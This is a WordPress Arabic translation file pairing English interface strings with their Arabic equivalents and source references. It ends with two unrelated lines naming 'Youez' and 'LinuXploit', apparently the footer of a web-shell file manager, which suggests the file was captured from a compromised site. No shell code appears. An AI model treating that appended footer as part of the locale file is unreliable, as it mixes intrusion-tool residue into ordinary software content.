#: wp-includes/class-wp-editor.php:1180 wp-includes/class-wp-editor.php:1877
#: wp-includes/script-loader.php:928 wp-includes/script-loader.php:1246
#: wp-includes/script-loader.php:1893 wp-includes/js/dist/block-editor.js:51039
#: wp-includes/js/dist/block-editor.js:53435
#: wp-includes/js/dist/block-library.js:30604
#: wp-includes/js/dist/block-library.js:32286
#: wp-includes/js/dist/block-library.js:56452
#: wp-includes/js/dist/components.js:44447
#: wp-includes/js/dist/components.js:54292
#: wp-includes/js/dist/edit-post.js:4518 wp-includes/js/dist/edit-post.js:5615
#: wp-includes/js/dist/edit-site.js:17070
#: wp-admin/includes/class-wp-theme-install-list-table.php:395
#: wp-admin/theme-install.php:456
msgid "Close"
msgstr "إغلاق"

#: wp-includes/post.php:79 wp-admin/media.php:49
msgid "Edit Media"
msgstr "تحرير ملف الوسائط"

#: wp-includes/blocks/latest-comments.php:31
#: wp-includes/blocks/latest-posts.php:72 wp-includes/blocks/rss.php:35
#: wp-includes/media.php:4180 wp-includes/script-loader.php:1201
#: wp-includes/widgets/class-wp-widget-recent-posts.php:114
#: wp-includes/js/dist/block-library.js:25743
#: wp-includes/js/dist/core-data.js:6504 wp-includes/js/dist/edit-post.js:8526
#: wp-includes/js/dist/editor.js:11031 wp-admin/includes/ajax-actions.php:2234
#: wp-admin/includes/media.php:3326 wp-admin/includes/revision.php:59
#: wp-admin/includes/revision.php:62 wp-admin/includes/template.php:2087
#: wp-admin/js/inline-edit-post.js:201
msgid "(no title)"
msgstr "(بدون عنوان)"

#: wp-includes/class-wp-customize-manager.php:4320
#: wp-includes/class-wp-editor.php:1246 wp-includes/media-template.php:1531
#: wp-includes/js/dist/block-editor.js:28644
#: wp-includes/js/dist/block-editor.js:29305
#: wp-includes/js/dist/block-library.js:23112
#: wp-includes/js/dist/edit-post.js:6052 wp-admin/customize.php:207
#: wp-admin/includes/class-custom-background.php:265
#: wp-admin/includes/class-custom-image-header.php:538
#: wp-admin/includes/class-wp-posts-list-table.php:1502
#: wp-admin/includes/class-wp-theme-install-list-table.php:346
#: wp-admin/includes/meta-boxes.php:73 wp-admin/includes/post.php:1837
#: wp-admin/theme-install.php:413 wp-admin/theme-install.php:426
#: wp-admin/theme-install.php:436 wp-admin/theme-install.php:443
#: wp-admin/theme-install.php:596
msgid "Preview"
msgstr "معاينة"

#: wp-includes/class-wp-editor.php:1332
#: wp-includes/customize/class-wp-customize-background-position-control.php:65
#: wp-includes/media-template.php:825 wp-includes/media-template.php:1081
#: wp-includes/media-template.php:1145
#: wp-includes/js/dist/block-editor.js:11326
#: wp-includes/js/dist/components.js:39339
#: wp-admin/includes/class-custom-background.php:394
#: wp-admin/includes/media.php:1154 wp-admin/includes/media.php:2981
msgid "Right"
msgstr "يمين"

#: wp-includes/class-wp-editor.php:1331
#: wp-includes/customize/class-wp-customize-background-position-control.php:61
#: wp-includes/media-template.php:822 wp-includes/media-template.php:1078
#: wp-includes/media-template.php:1142 wp-includes/js/dist/components.js:21378
#: wp-includes/js/dist/components.js:21379
#: wp-admin/includes/class-custom-background.php:390
#: wp-admin/includes/media.php:1153 wp-admin/includes/media.php:2979
msgid "Center"
msgstr "وسط"

#: wp-includes/class-wp-editor.php:1330
#: wp-includes/customize/class-wp-customize-background-position-control.php:57
#: wp-includes/media-template.php:819 wp-includes/media-template.php:1075
#: wp-includes/media-template.php:1139
#: wp-includes/js/dist/block-editor.js:11325
#: wp-includes/js/dist/components.js:39338
#: wp-includes/js/dist/components.js:55650
#: wp-admin/includes/class-custom-background.php:386
#: wp-admin/includes/media.php:1152 wp-admin/includes/media.php:2977
msgid "Left"
msgstr "يسار"

#. translators: Hidden accessibility text.
#: wp-includes/revision.php:34 wp-includes/js/dist/block-library.js:25546
#: wp-includes/js/dist/edit-post.js:5198 wp-includes/js/dist/edit-post.js:7959
#: wp-admin/includes/meta-boxes.php:741 wp-admin/includes/meta-boxes.php:1633
#: wp-admin/options-reading.php:177
msgid "Excerpt"
msgstr "المقتطف"

#: wp-includes/taxonomy.php:142 wp-admin/menu.php:84
msgid "Link Categories"
msgstr "تصنيفات الروابط"

#: wp-includes/class-wp-taxonomy.php:625
msgid "Update Category"
msgstr "تحديث التصنيف"

#: wp-includes/class-wp-post-type.php:836
msgid "New Page"
msgstr "صفحة جديدة"

#: wp-includes/class-wp-taxonomy.php:614
msgid "Search Categories"
msgstr "بحث في التصنيفات"

#: wp-includes/class-wp-taxonomy.php:629
msgid "Add or remove tags"
msgstr "إضافة أو إزالة وسوم"

#: wp-includes/media-template.php:424 wp-includes/media-template.php:650
#: wp-admin/includes/media.php:957
msgid "Saved."
msgstr "تمّ الحفظ."

#: wp-includes/class-wp-editor.php:1327 wp-includes/media-template.php:529
#: wp-includes/media-template.php:626 wp-includes/media-template.php:774
#: wp-includes/media-template.php:1065 wp-includes/media-template.php:1128
#: wp-includes/widgets/class-wp-widget-media-image.php:91
#: wp-admin/includes/media.php:1396 wp-admin/includes/media.php:3245
msgid "Caption"
msgstr "كلمات توضيحية"

#: wp-includes/js/dist/block-editor.js:47708
#: wp-includes/js/dist/block-editor.js:51047
#: wp-admin/includes/dashboard.php:1394 wp-admin/setup-config.php:260
msgid "Submit"
msgstr "إرسال"

#: wp-includes/class-wp-editor.php:1391
#: wp-includes/js/dist/block-library.js:13674 wp-admin/includes/media.php:652
msgid "Add Media"
msgstr "أضف ملفات وسائط"

#: wp-includes/post.php:3136 wp-includes/js/dist/edit-site.js:13475
#: wp-includes/js/dist/editor.js:13028
msgid "Images"
msgstr "صور"

#: wp-includes/post.php:1194 wp-includes/post.php:1214
#: wp-includes/js/dist/editor.js:8934
#: wp-admin/includes/class-wp-posts-list-table.php:1744
#: wp-admin/includes/class-wp-posts-list-table.php:1945
#: wp-admin/includes/meta-boxes.php:180 wp-admin/includes/meta-boxes.php:220
#: wp-admin/js/post.js:908
msgid "Private"
msgstr "خاص"

#: wp-includes/js/dist/editor.js:8930 wp-admin/includes/meta-boxes.php:189
#: wp-admin/includes/meta-boxes.php:211 wp-admin/js/post.js:905
msgid "Public"
msgstr "عام"

#: wp-includes/class-wp-post-type.php:837
msgid "View Page"
msgstr "مشاهدة الصفحة"

#. translators: Field name in comment form.
#: wp-includes/comment-template.php:1156 wp-includes/comment-template.php:2541
#: wp-admin/comment.php:234
msgctxt "noun"
msgid "Comment"
msgstr "التعليق"

#: wp-includes/class-wp-customize-manager.php:4852
#: wp-includes/script-loader.php:1235 wp-admin/includes/dashboard.php:601
#: wp-admin/includes/meta-boxes.php:56 wp-admin/js/post.js:861
msgid "Save Draft"
msgstr "حفظ المسودة"

#: wp-includes/widgets/class-wp-widget-rss.php:35
#: wp-includes/widgets/class-wp-widget-rss.php:97
#: wp-admin/includes/import.php:214
msgid "RSS"
msgstr "RSS"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-editor.php:1210 wp-includes/theme-compat/sidebar.php:29
#: wp-includes/js/dist/block-library.js:37146
#: wp-includes/js/dist/block-library.js:37153
#: wp-includes/js/dist/components.js:62279
#: wp-includes/js/dist/edit-site.js:6504 wp-includes/js/dist/editor.js:7140
#: wp-includes/js/dist/editor.js:7203 wp-admin/comment.php:172
#: wp-admin/edit-form-comment.php:48
#: wp-admin/includes/class-plugin-installer-skin.php:218
#: wp-admin/includes/class-theme-installer-skin.php:241
#: wp-admin/includes/class-wp-comments-list-table.php:471
#: wp-admin/includes/class-wp-debug-data.php:1134
#: wp-admin/includes/class-wp-debug-data.php:1229
#: wp-admin/includes/class-wp-media-list-table.php:330
#: wp-admin/includes/class-wp-post-comments-list-table.php:25
#: wp-admin/includes/class-wp-posts-list-table.php:667
#: wp-admin/includes/class-wp-posts-list-table.php:1715
#: wp-admin/includes/meta-boxes.php:957 wp-admin/includes/meta-boxes.php:1690
#: wp-admin/includes/plugin-install.php:331
#: wp-admin/includes/theme-install.php:109
msgid "Author"
msgstr "كاتب"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:4291
#: wp-includes/script-loader.php:963
#: wp-includes/widgets/class-wp-widget-text.php:539
#: wp-includes/widgets/class-wp-widget-text.php:554
#: wp-includes/js/wp-pointer.js:20 wp-admin/async-upload.php:120
#: wp-admin/includes/dashboard.php:1742 wp-admin/includes/file.php:345
#: wp-admin/index.php:186
msgid "Dismiss"
msgstr "تجاهل"

#. translators: %s: File name.
#: wp-includes/deprecated.php:3208
msgid "File &#8220;%s&#8221; is not an image."
msgstr "الملف &#8220;%s&#8221; ليس صورة."

#: wp-includes/post.php:111 wp-admin/includes/meta-boxes.php:1574
#: wp-admin/revision.php:112
msgid "Revisions"
msgstr "المراجعات"

#: wp-includes/widgets/class-wp-widget-links.php:29
#: wp-includes/js/dist/edit-site.js:10615
#: wp-includes/js/dist/edit-site.js:10713
#: wp-includes/js/dist/edit-site.js:11018
#: wp-includes/js/dist/edit-site.js:11517
#: wp-admin/includes/class-wp-terms-list-table.php:199
#: wp-admin/link-manager.php:50 wp-admin/menu.php:80
msgid "Links"
msgstr "روابط"

#: wp-includes/taxonomy.php:147
msgid "Edit Link Category"
msgstr "تحرير تصنيف الرابط"

#: wp-includes/class-wp-post-type.php:837
msgid "View Post"
msgstr "مشاهدة المقالة"

#: wp-includes/class-wp-post-type.php:835
msgid "Edit Post"
msgstr "تحرير المقالة"

#: wp-includes/class-wp-post-type.php:836
msgid "New Post"
msgstr "مقالة جديدة"

#: wp-includes/widgets.php:185 wp-admin/includes/file.php:19
#: wp-admin/widgets-form.php:299
msgid "Sidebar"
msgstr "الشريط الجانبي"

#: wp-includes/class-wp-editor.php:1209
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:131
#: wp-includes/media-template.php:533 wp-includes/media-template.php:778
#: wp-includes/js/dist/block-library.js:34122
#: wp-includes/js/dist/block-library.js:35036 wp-admin/edit-link-form.php:130
#: wp-admin/edit-tag-form.php:203 wp-admin/edit-tags.php:511
#: wp-admin/includes/class-walker-nav-menu-edit.php:234
#: wp-admin/includes/class-wp-plugins-list-table.php:462
#: wp-admin/includes/class-wp-terms-list-table.php:194
#: wp-admin/includes/media.php:1401 wp-admin/includes/media.php:3262
#: wp-admin/includes/nav-menu.php:1130 wp-admin/themes.php:603
#: wp-admin/includes/class-wp-ms-themes-list-table.php:331
msgid "Description"
msgstr "الوصف"

#. translators: %s: Name of the block author.
#. translators: %s: Plugin author name.
#. translators: %s: Theme author name.
#. translators: %s: Plugin author.
#. translators: %s: Theme author.
#. translators: %s: Theme author link.
#: wp-includes/js/dist/block-directory.js:1917
#: wp-admin/includes/class-wp-debug-data.php:945
#: wp-admin/includes/class-wp-debug-data.php:992
#: wp-admin/includes/class-wp-debug-data.php:1314
#: wp-admin/includes/class-wp-plugin-install-list-table.php:537
#: wp-admin/includes/class-wp-plugins-list-table.php:1060
#: wp-admin/includes/class-wp-theme-install-list-table.php:370
#: wp-admin/includes/class-wp-theme-install-list-table.php:502
#: wp-admin/includes/class-wp-themes-list-table.php:262
#: wp-admin/includes/theme.php:864 wp-admin/theme-install.php:383
#: wp-admin/theme-install.php:499 wp-admin/themes.php:529
#: wp-admin/themes.php:888 wp-admin/themes.php:984
#: wp-admin/includes/class-wp-ms-themes-list-table.php:726
msgid "By %s"
msgstr "بواسطة %s"

#: wp-includes/class-wp-editor.php:1933 wp-includes/script-loader.php:1200
#: wp-admin/edit-link-form.php:23 wp-admin/includes/meta-boxes.php:1142
msgid "Add Link"
msgstr "أضف رابطاً"

#: wp-includes/class-wp-post-type.php:833
msgctxt "post"
msgid "Add New"
msgstr "أضف جديداً"

#. translators: accessibility text for the top bar landmark region.
#: wp-includes/admin-bar.php:1069 wp-includes/block-template-utils.php:77
#: wp-includes/js/dist/edit-post.js:1746 wp-includes/js/dist/edit-site.js:2334
#: wp-includes/js/dist/edit-widgets.js:1311
#: wp-admin/includes/class-custom-image-header.php:74 wp-admin/menu.php:233
msgid "Header"
msgstr "ترويسة"

#. translators: %s: Search query.
#: wp-includes/general-template.php:1192
msgid "Search Results for &#8220;%s&#8221;"
msgstr "نتائج البحث عن &#8220;%s&#8221;"

#: wp-includes/class-wp-customize-control.php:643
#: wp-includes/class-wp-customize-nav-menus.php:1249
#: wp-includes/js/dist/block-library.js:19303
#: wp-includes/js/dist/edit-post.js:5615 wp-includes/js/dist/edit-site.js:17070
#: wp-admin/includes/meta-boxes.php:590 wp-admin/includes/meta-boxes.php:1203
msgid "Add"
msgstr "أضف"

#. translators: Media tab title in the block inserter.
#. translators: Default privacy policy heading.
#: wp-includes/block-template-utils.php:165
#: wp-includes/class-wp-editor.php:1230 wp-includes/media.php:4581
#: wp-includes/media.php:5239 wp-includes/js/dist/block-editor.js:25173
#: wp-includes/js/dist/block-editor.js:48457 wp-includes/js/dist/blocks.js:8294
#: wp-includes/js/dist/core-data.js:2517 wp-admin/export.php:308
#: wp-admin/includes/class-wp-privacy-policy-content.php:505
#: wp-admin/includes/media.php:2577 wp-admin/menu.php:66 wp-admin/menu.php:390
msgid "Media"
msgstr "وسائط"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-editor.php:1259 wp-admin/edit-link-form.php:32
#: wp-admin/includes/meta-boxes.php:1225
msgid "Target"
msgstr "الهدف"

#. translators: %s: Human-readable time difference.
#. translators: %s: Duration.
#: wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:143
#: wp-includes/script-loader.php:430
#: wp-admin/includes/class-wp-media-list-table.php:537
#: wp-admin/includes/class-wp-plugin-install-list-table.php:773
#: wp-admin/includes/class-wp-privacy-requests-table.php:475
#: wp-admin/includes/plugin-install.php:674 wp-admin/includes/revision.php:251
#: wp-admin/includes/revision.php:294
msgid "%s ago"
msgstr "قبل %s"

#: wp-includes/js/dist/block-library.js:53122
#: wp-admin/includes/class-plugin-installer-skin.php:217
#: wp-admin/includes/class-theme-installer-skin.php:240
#: wp-admin/includes/class-wp-debug-data.php:71
#: wp-admin/includes/class-wp-debug-data.php:1129
#: wp-admin/includes/class-wp-debug-data.php:1224
msgid "Version"
msgstr "النسخة"

#: wp-includes/customize/class-wp-customize-nav-menu-control.php:57
#: wp-includes/customize/class-wp-widget-area-customize-control.php:61
#: wp-includes/js/dist/block-editor.js:39786
#: wp-includes/js/dist/components.js:43623 wp-admin/includes/widgets.php:297
#: wp-admin/js/set-post-thumbnail.js:21
msgid "Done"
msgstr "تمّ"

#: wp-includes/media.php:4585 wp-includes/js/dist/block-editor.js:50925
#: wp-includes/js/dist/block-library.js:56830
#: wp-includes/js/dist/editor.js:5967 wp-admin/includes/template.php:2052
#: wp-admin/nav-menus.php:936 wp-admin/plugin-editor.php:238
#: wp-admin/theme-editor.php:244
msgid "Select"
msgstr "تحديد"

#. translators: Hidden accessibility text.
#: wp-includes/admin-bar.php:1130 wp-includes/admin-bar.php:1132
#: wp-includes/blocks/search.php:23 wp-includes/blocks/search.php:24
#: wp-includes/blocks/search.php:46 wp-includes/class-wp-editor.php:1900
#: wp-includes/media.php:4584 wp-includes/media.php:4629
#: wp-includes/js/dist/block-editor.js:23249
#: wp-includes/js/dist/block-editor.js:24798
#: wp-includes/js/dist/block-editor.js:25380
#: wp-includes/js/dist/block-editor.js:25520
#: wp-includes/js/dist/block-library.js:43589
#: wp-includes/js/dist/block-library.js:46767
#: wp-includes/js/dist/block-library.js:46941
#: wp-includes/js/dist/block-library.js:46942
#: wp-includes/js/dist/block-library.js:47055
#: wp-includes/js/dist/block-library.js:47056
#: wp-includes/js/dist/block-library.js:54554
#: wp-includes/js/dist/components.js:59145
#: wp-includes/js/dist/edit-site.js:10458
#: wp-admin/includes/class-wp-media-list-table.php:315
#: wp-admin/includes/class-wp-theme-install-list-table.php:58
#: wp-admin/includes/nav-menu.php:523 wp-admin/includes/nav-menu.php:589
#: wp-admin/includes/nav-menu.php:594 wp-admin/includes/nav-menu.php:825
#: wp-admin/includes/nav-menu.php:890 wp-admin/includes/nav-menu.php:895
#: wp-admin/includes/template.php:2041 wp-admin/includes/template.php:2046
#: wp-admin/includes/theme-install.php:139
msgid "Search"
msgstr "البحث"

#: wp-includes/widgets/class-wp-widget-recent-comments.php:202
msgid "Number of comments to show:"
msgstr "عدد التعليقات المراد عرضها:"

#: wp-includes/class-wp-customize-widgets.php:801
#: wp-includes/class-wp-editor.php:1387 wp-includes/media.php:4626
#: wp-includes/js/dist/block-editor.js:31033
#: wp-includes/js/dist/block-editor.js:45645
#: wp-includes/js/dist/block-editor.js:48124
#: wp-includes/js/dist/block-editor.js:48273
#: wp-includes/js/dist/block-library.js:49923
#: wp-includes/js/dist/format-library.js:305
#: wp-admin/includes/class-wp-list-table.php:589
#: wp-admin/includes/class-wp-screen.php:1095
msgid "Apply"
msgstr "تطبيق"

#: wp-includes/js/dist/edit-site.js:13104
#: wp-includes/js/dist/edit-site.js:15221
#: wp-includes/js/dist/edit-site.js:15527 wp-admin/includes/media.php:2579
#: wp-admin/includes/class-wp-ms-sites-list-table.php:365
msgid "Actions"
msgstr "الإجراءات"

#: wp-includes/js/dist/edit-site.js:15237 wp-admin/edit-tag-form.php:302
#: wp-admin/includes/class-wp-links-list-table.php:87
#: wp-admin/includes/class-wp-links-list-table.php:343
#: wp-admin/includes/class-wp-plugins-list-table.php:612
#: wp-admin/includes/class-wp-plugins-list-table.php:823
#: wp-admin/includes/class-wp-plugins-list-table.php:884
#: wp-admin/includes/class-wp-terms-list-table.php:170
#: wp-admin/includes/class-wp-terms-list-table.php:494
#: wp-admin/includes/class-wp-themes-list-table.php:232
#: wp-admin/includes/class-wp-users-list-table.php:280
#: wp-admin/includes/class-wp-users-list-table.php:481
#: wp-admin/includes/media.php:1728 wp-admin/includes/meta-boxes.php:1132
#: wp-admin/includes/template.php:660 wp-admin/includes/theme.php:1058
#: wp-admin/includes/widgets.php:295 wp-admin/themes.php:651
#: wp-admin/themes.php:1177 wp-admin/widgets-form.php:335
#: wp-admin/includes/class-wp-ms-sites-list-table.php:285
#: wp-admin/includes/class-wp-ms-sites-list-table.php:724
#: wp-admin/includes/class-wp-ms-themes-list-table.php:477
#: wp-admin/includes/class-wp-ms-themes-list-table.php:639
#: wp-admin/includes/class-wp-ms-users-list-table.php:114
#: wp-admin/includes/class-wp-ms-users-list-table.php:531
msgid "Delete"
msgstr "حذف"

#. translators: %s: File name.
#: wp-includes/deprecated.php:3195
msgid "File &#8220;%s&#8221; does not exist?"
msgstr "الملف &#8220;%s&#8221; غير موجود؟"

#: wp-includes/js/dist/edit-site.js:17148
#: wp-admin/includes/class-wp-media-list-table.php:790
#: wp-admin/includes/class-wp-media-list-table.php:853
#: wp-admin/includes/class-wp-posts-list-table.php:1511
#: wp-admin/includes/class-wp-terms-list-table.php:504
#: wp-admin/includes/class-wp-users-list-table.php:498
#: wp-admin/includes/dashboard.php:794
#: wp-admin/includes/class-wp-ms-users-list-table.php:420
msgid "View"
msgstr "عرض"

#: wp-includes/post.php:1195 wp-includes/post.php:1215
#: wp-includes/script-loader.php:1234 wp-admin/includes/ajax-actions.php:2240
#: wp-admin/includes/class-wp-posts-list-table.php:1180
#: wp-admin/includes/class-wp-posts-list-table.php:1942
#: wp-admin/includes/meta-boxes.php:112 wp-admin/includes/meta-boxes.php:152
#: wp-admin/js/post.js:838
msgid "Published"
msgstr "منشور"

#: wp-includes/post.php:1192 wp-includes/post.php:1213
#: wp-includes/js/dist/block-library.js:34079
#: wp-includes/js/dist/editor.js:11368 wp-admin/includes/ajax-actions.php:2249
#: wp-admin/includes/class-wp-posts-list-table.php:1950
#: wp-admin/includes/meta-boxes.php:122 wp-admin/includes/meta-boxes.php:160
#: wp-admin/includes/meta-boxes.php:162
msgid "Draft"
msgstr "مسودة"

#: wp-includes/class-wp-editor.php:1206 wp-includes/media-template.php:511
#: wp-includes/media-template.php:756 wp-includes/revision.php:32
#: wp-includes/js/dist/block-library.js:54876
#: wp-includes/js/dist/edit-post.js:6279 wp-includes/js/dist/edit-site.js:16680
#: wp-includes/js/dist/editor.js:5417 wp-includes/js/dist/editor.js:6083
#: wp-includes/js/dist/widgets.js:1525 wp-admin/includes/ajax-actions.php:2231
#: wp-admin/includes/class-wp-posts-list-table.php:1650
#: wp-admin/includes/dashboard.php:585 wp-admin/includes/media.php:1391
#: wp-admin/includes/media.php:2632 wp-admin/includes/media.php:2956
msgid "Title"
msgstr "العنوان"

#: wp-activate.php:137
#: wp-includes/customize/class-wp-customize-theme-control.php:254
#: wp-admin/includes/class-theme-installer-skin.php:141
#: wp-admin/includes/class-theme-upgrader-skin.php:113
#: wp-admin/includes/class-wp-plugin-install-list-table.php:605
#: wp-admin/includes/class-wp-plugins-list-table.php:599
#: wp-admin/includes/class-wp-plugins-list-table.php:867
#: wp-admin/includes/class-wp-themes-list-table.php:215
#: wp-admin/includes/theme.php:1068 wp-admin/theme-install.php:399
#: wp-admin/theme-install.php:478 wp-admin/themes.php:556
#: wp-admin/themes.php:916 wp-admin/themes.php:1153 wp-admin/js/updates.js:766
#: wp-admin/js/updates.js:1419
#: wp-admin/includes/class-wp-ms-sites-list-table.php:706
msgid "Activate"
msgstr "تفعيل"

#: wp-activate.php:30 wp-activate.php:171
msgid "An error occurred during the activation"
msgstr "حصل خطأ ما أثناء التفعيل"

#: wp-activate.php:183 wp-signup.php:271
msgid "Username:"
msgstr "اسم المستخدم:"

#: wp-activate.php:146 wp-activate.php:180
msgid "Your account is now active!"
msgstr "حسابك الآن مفعّل!"

#: wp-activate.php:133
msgid "Activation Key:"
msgstr "مفتاح التفعيل:"

#: wp-activate.php:130
msgid "Activation Key Required"
msgstr "مفتاح التفعيل مطلوب"

#: wp-includes/admin-bar.php:330 wp-includes/class-wp-admin-bar.php:477
msgid "Log Out"
msgstr "تسجيل الخروج"

#: wp-includes/admin-bar.php:386 wp-includes/admin-bar.php:709
#: wp-includes/deprecated.php:2810
msgid "Visit Site"
msgstr "زيارة الموقع"

#: wp-activate.php:184 wp-includes/post-template.php:1772
#: wp-admin/includes/meta-boxes.php:218
msgid "Password:"
msgstr "كلمة المرور:"

#: wp-includes/class-wp-post-type.php:840
#: wp-includes/js/dist/block-library.js:25674
msgid "No posts found."
msgstr "لا توجد مقالات."

#. translators: Comment date format. See
#. https://www.php.net/manual/datetime.format.php
#. translators: Date format in table columns, see
#. https://www.php.net/manual/datetime.format.php
#. translators: Post date format. See
#. https://www.php.net/manual/datetime.format.php
#: wp-includes/class-wp-editor.php:1814 wp-admin/comment.php:221
#: wp-admin/includes/ajax-actions.php:2257
#: wp-admin/includes/class-wp-comments-list-table.php:1005
#: wp-admin/includes/class-wp-media-list-table.php:539
#: wp-admin/includes/class-wp-posts-list-table.php:1170
#: wp-admin/includes/class-wp-ms-sites-list-table.php:474
#: wp-admin/includes/class-wp-ms-sites-list-table.php:495
#: wp-admin/includes/class-wp-ms-users-list-table.php:342
msgid "Y/m/d"
msgstr "Y/m/d"

#: wp-includes/post.php:1193 wp-admin/includes/ajax-actions.php:2246
#: wp-admin/includes/class-wp-posts-list-table.php:1949
#: wp-admin/includes/meta-boxes.php:118 wp-admin/includes/meta-boxes.php:158
msgid "Pending Review"
msgstr "بإنتظار المراجعة"

Youez - 2016 - github.com/yon3zu
LinuXploit